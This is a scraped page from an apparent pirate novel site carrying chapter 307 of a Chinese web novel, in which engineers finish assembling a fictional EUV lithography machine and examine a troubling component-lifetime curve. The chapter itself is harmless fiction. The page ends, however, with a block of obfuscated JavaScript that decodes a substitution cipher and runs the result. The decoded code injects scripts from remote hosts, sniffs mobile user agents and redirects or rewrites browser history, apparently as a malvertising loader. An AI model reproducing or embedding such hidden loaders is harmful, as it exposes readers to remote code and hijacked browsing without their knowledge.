首页
[切换至繁体版]
返回

第307章 追光三期EUV整机装配完成

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    一整排顶部冷白工作灯从数十米高的桁架顶端垂落下来,把那台被多层围挡与气密隔区包裹的庞然设备照得纤毫毕现。不同于终端产线那种高速流转丶节拍鲜明的忙碌,这里的时间像被人为压慢了。没有人高声说话,没有人随意走动,连工具车在导轨上滑行时都被包上了消音层,只剩极细微的滚轮摩擦声在偌大的空间里缓慢回响。
    主控屏右上方,状态条一直停在同一句话上:
    追光三期·整机总装进入最终闭环校准阶段
    而现在,这句话下面又多出一行刚刚刷新的黄色提示:
    高能段联调确认完成,等待总指挥权限确认
    林薇站在气密门内,没有第一时间往前走。
    读台湾小说上台湾小说网,??????????.??????任你选
    她先看的是整张图。
    不是屏幕上的参数图,而是设备本体。
    那是一种只有真正长期做过整机秩序的人才会有的本能。先看整体呼吸感,再看局部数据。先看这台设备像不像一个能真正「活起来」的整体,再去判断它究竟还剩哪根神经末梢没有接好。
    追光三期比一代丶二代都更大,也更安静。
    安静得甚至不像一台处在最终总装阶段的极限设备,反而像一头趴伏在冷白光下丶尚未完全睁眼的巨兽。高精度主腔丶光源接口丶振动隔离底座丶真空通路丶控制柜阵列丶流体冷却总成丶检测反馈系统,被压在同一套秩序里,没有一处多余外露,也没有一处显得仓促补丁化。
    可正因为它看起来太像一个整体,林薇才更清楚,最危险的问题往往就藏在最后那一层「看起来已经完整」的平静里。
    总装负责人快步走到她身边,把权限板递过来,声音压得很低。
    「主腔体机械闭环已经完成,隔振底座和主控耦合也完成了,主光路静态对位误差压到目标窗口内。刚才那轮高能段联调,整体波动比二期末段好。」
    林薇接过权限板,没有立刻点确认,只问了一句:「哪个参数不对劲?」
    负责人顿了一下。
    「不是明显越线。」他说,「是寿命模型回归曲线有一段不够好看。」
    旁边几名负责分区联调的骨干没接话,但表情都明显紧了一丝。
    林薇却没有追着这件事立刻问下去,只点了点头:「先把今天该完成的完成。」
    这就是她的风格。
    在最关键的整机节点上,不会因为一个尚未坐实的问题,让全队的节奏先乱掉。但她既然听见了,就不会真把那句「不够好看」当成一句可以轻轻放过的工程抱怨。
    她迈步往总控台走去。
    沿途,装配区内所有人都自动让开一条线,没有人刻意看她,却几乎所有视线都在余光里追着她的方向。因为谁都知道,今天不是普通节点,甚至不是普通意义上的「设备总装完成」。
    追光三期如果真的走到整机装配完成,就意味着未来科技在EUV设备这条最硬丶最深丶最容易被旧秩序永远卡死的骨线上,再往前迈了一大步。它未必意味着明天就能横扫一切问题,也绝不意味着可以立刻高调宣布希么,但它至少说明一件事——未来科技已经不再只是在理论突破丶部件拼接和局部验证里打转,而是在把整机这件事一点点压成现实。
    这就是分量。
    主控台前,几块分屏正同步滚动。
    左侧是主腔真空保持曲线;
    中间是高能段联调后的稳定窗口;
    右侧是整机振动丶温控与反馈回路的耦合状态;
    最下方,则是一条缓慢向前推进的总装完成度进度条。
    99.2%
    旁边一名系统工程师看见林薇过来,低声汇报:「剩下的是最终权限确认丶整机联锁校验和记录封板。如果今天通过,追光三期就正式从『分段装配状态』切入『整机完成状态』。」
    林薇点了一下头。
    她没有先坐下,而是看了一眼全场分区的状态灯。
    绿色居多,几处仍是蓝色等待,一处光源接口分区刚从黄色跳回绿色,显示那轮联调后的覆核已经结束。整张装配区的颜色很稳,没有那种临门一脚时常见的杂乱闪烁。
    她这才擡手,接入最高权限。
    主控屏识别后,所有子系统同时弹出确认窗口。最上方一行字被放大:
    是否执行追光三期整机总装最终联锁校验?
    厂房里更静了。
    很多人都在等这个动作。不是因为它有多戏剧化,而是因为当一个如此复杂丶如此敏感丶如此容易在最后一步出意外的系统,真正走到「最终联锁校验」这一步时,所有参与过的人都会明白,接下来按下去的不是一个按钮,而是一整段漫长攻坚能不能暂时收口的确认。
    林薇没有任何多余停顿。
    「执行。」
    两个字落下,权限确认完成。
    下一秒,整机联锁程序开始自动跑起。主控屏上,几十项关键子模块状态开始一项项由蓝转绿,速度并不快,甚至有意被拉得很平稳。
    主腔体密封性覆核——通过。
    真空保持冗余校验——通过。
    隔振底座联锁——通过。
    流体冷却回路自检——通过。
    主控反馈总线延迟覆核——通过。
    高能段光路静态闭环——通过。
    温控-材料应力联动窗口——通过。
    安全联锁与急停逻辑——通过。
    关键观测点自校准——通过。
    随着一项项「通过」跳出来,厂房里没有爆发欢呼,甚至连明显的松气声都被压住了。这里只会在真正确认前,越来越静。
    进度条缓缓推到尽头。
    100.0%
    屏幕最中央,终于跳出那一行所有人等了太久的白字:
    追光三期EUV设备整机装配完成
    这行字出现的一瞬,整个厂房像被什么东西轻轻击中了一下。
    仍旧没有人高声喊出来,可那股压了太久丶绷得太紧的劲,还是在一片克制的沉默里真实地松了一层。有人下意识攥紧了拳头,有人闭了下眼,有人把头轻轻低了半秒,也有人只是站在原地,像还没从「真的完成了」这件事里缓过神来。
    总装负责人张了张嘴,最后只说了一句很轻的话:
    「成了。」
    这两个字一落,旁边几个核心骨干脸上的血色才像慢慢回来了些。
    有人笑了一下,但立刻又压住。
    有人伸手拍了拍身边同事的肩膀,力道不大,却带着一种极少见的确认感。
    这不是量产线那种一台台成品下线的快意,也不是终端发布前夕那种胜券在握的亢奋。追光三期这种东西,做出来的那一刻,最先浮上来的不是「赢了」,而是一种更复杂的感觉——你知道自己终于把一段最难的路压成了实物,可也清楚,这玩意儿越是长成完整整体,后面会暴露出来的问题就越不会小。
    林薇看着屏幕中央那行字,神情却没太大变化。
    她只问了一句:「记录封板了吗?」
    「准备封。」负责人立刻答。
    「先别急着封全。」林薇声音很稳,「把今天高能段那轮回归模型单独拎出来,联同关键寿命参数一起再过一遍。」
    负责人点头:「已经留了副本。」
    这时,章宸也从另一侧通道走了进来。
    他本来在补天那边开小会,收到追光三期整机装配完成的消息后直接赶了过来,身上还带着中央研究院那边特有的冷静气息。他走到总控台边,先看屏幕,后看设备,半晌才低声说了一句:
    「这回是真把骨架立起来了。」
    林薇嗯了一声。
    章宸不是会轻易夸东西的人,尤其不会对这样高风险丶高复杂度的核心设备随口给结论。他说「骨架立起来了」,意思已经很明确——追光三期这次不是局部成功,不是某个模块单点过关,而是整机秩序第一次真正站住。
    几分钟后,陈醒也到了。
    他来得比很多人预料得更快,却没有带任何随行人员。走进总装区时,他没有先问结果,而是先看了整机本体一眼,随后才走到主控屏前。
    屏幕上那行白字还亮着:
    追光三期EUV设备整机装配完成
    陈醒站在那儿看了两秒,脸上看不出太多激动,只有眼神比平时更沉一点。
    「谁先说。」他问。
    总装负责人下意识想接,林薇却先开了口。
    「整机装配完成了。」她说,「主腔丶光源丶高能段丶隔振丶控制丶冷却和联锁闭环都压进整机秩序了。不是拼起来的,是站住了。」
    陈醒点了点头。
    这句话他听得懂。
    「不是拼起来的,是站住了」,意思远比「做完了」重。追光三期这种级别的设备,最怕的是做成一个靠临时补丁和分段妥协维持的脆弱组合体。那样看似装完了,实则一进高强度联调就会散。林薇敢说「站住了」,说明整机生命线意义上的秩序已经成立。
    但陈醒没有立刻说「好」。
    他看向林薇:「你觉得哪里最不稳?」
    厂房里几名负责人下意识都看向了刚才那条「寿命模型回归不够好看」的分屏。
    林薇也没有回避。
    「不是今天装配状态的问题。」她说,「是某个关键部件在高能段联调后的寿命回归曲线,不够漂亮。」
    陈醒眼神一顿:「哪种不漂亮?」
    总装负责人这才接上:「不是马上失效,也不是参数直接掉线,是按现在这轮模型看,它在连续高强度工作窗口里的寿命冗余,比预期短。」
    陈醒没说话,只伸手让他们把那条曲线拉出来。
    几秒后,一组放大的寿命模型图占满主屏右侧。
    前半段还算理想,进入某个功率窗口后开始出现细小偏移,偏移不算离谱,却足够让长期做设备的人神经发紧。因为这类问题最危险的地方,不在于它今天会不会炸,而在于它意味着当设备进入更长时间丶更高频率丶更复杂工况的连续运行后,某个核心段可能会提前进入衰减区。
    章宸盯着那条曲线看了十几秒,才道:「像材料和应力耦合的后效,不像单纯控制问题。」
    林薇点头:「我也是这么看。」
    「哪个部件?」陈醒问。
    负责人犹豫了一秒,还是说了出来:「主腔体一处关键内构件。」
    这个回答让周围几个人的表情都沉了半分。
    因为如果问题在外围辅助件上,麻烦是麻烦,但不至于立刻触到心脏;可一旦涉及主腔体关键内构件,后面的事情就不会只是换个零件丶调个参数那么简单。它很可能牵连材料丶热稳定丶应力传导丶腔体环境丶甚至整段寿命模型的再校准。
    陈醒仍旧没有表现出太大波澜。
    「现在先不放大问题。」他说,「今天整机完成,就是整机完成。该记功记功,该封板封板。」
    「但封板不等于收工。」
    这句话一出来,厂房里几乎所有人都同时收了点刚升起来的松气感。
    是的,追光三期今天完成的是整机装配,不是整条设备线从此无事。对未来科技这种正把很多命门同时往前推的体系来说,最忌讳的就是刚过一道门槛,就误以为整段路都顺了。
    陈醒看向林薇。
    「你带一组人,把寿命问题单列。」他说,「今天只做两件事:先确认它是个偶发模型偏移,还是结构性信号;再确认它究竟是材料问题丶应力问题,还是高能段环境下某个耦合项被低估了。」
    林薇点头:「我今晚进实验线。」
    陈醒又看向总装负责人:「整机完成的消息,内部可以按一级成果流转,但口径收住。只说整机装配完成,不谈性能夸张,不谈外推,不谈任何让外面误以为我们已经把所有问题都解决了的话。」
    「明白。」负责人立刻答。
    这时,苏黛也到了。
    她本来在区域合作线开会,听说追光三期完成,第一时间赶来。看见屏幕那行白字时,她眼神里先是极短的一亮,随即就恢复了平常的克制。
    「消息要不要放给芯谷接待线那边一点?」她问。
    陈醒想了两秒:「放,但只放到『未来科技关键设备线整机秩序继续成立』这个级别。不要让外部把这件事理解成炫耀性突破,要让他们看见的是——我们在继续把未来压成现实。」
    李明哲随后也补了一句:「国际线这边,我会把这件事压进『未来科技体系仍在向前自证』的语境里,不主动抢声量。」
    「对。」陈醒点头,「现在不是做情绪高潮的时候。」
    这句话说得很轻,却让在场很多人都立刻把位置摆正了。
    追光三期装配完成,当然值得高兴,甚至在某种意义上足够让很多核心线重新提一口气。可问题在于,当下的未来科技正站在一个太敏感的位置上:外
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();